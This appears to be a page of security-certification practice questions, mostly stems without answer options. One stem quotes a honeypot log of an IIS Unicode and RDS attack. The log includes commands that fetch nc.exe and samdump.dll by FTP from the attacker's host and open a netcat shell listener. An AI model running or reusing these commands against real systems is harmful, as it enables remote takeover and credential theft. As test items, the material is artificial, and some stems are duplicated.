What can you infer from the exploit given?
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The file Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly.
The attacker makes a RDS query which results in the commands run as shown below:
“cmd1.exe /c open 213.116.251.162 >ftpcom”
“cmd1.exe /c echo johna2k >>ftpcom”
“cmd1.exe /c echo haxedj00 >>ftpcom”
“cmd1.exe /c echo get nc.exe >>ftpcom”
“cmd1.exe /c echo get samdump.dll >>ftpcom”
“cmd1.exe /c echo quit >>ftpcom” “cmd1.exe /c
ftp -s:ftpcom” “cmd1.exe /c nc -l -p 6969 ecmd1.exe”
What can you infer from the exploit given?
Which of the following commands runs snort in packet logger mode?
Which of the following commands runs snort in packet logger mode?
What is odd about this attack?
Snort has been used to capture packets on the network. On studying the packets, the penetration tester finds it to be abnormal. If you were the penetration tester, why would you find this abnormal? (Note: The student is being tested on concept learnt during passive OS fingerprinting, basic TCP/IP connection concepts and the ability to read packet signatures from a sniff dumo.)
What is odd about this attack? (Choose the most appropriate statement)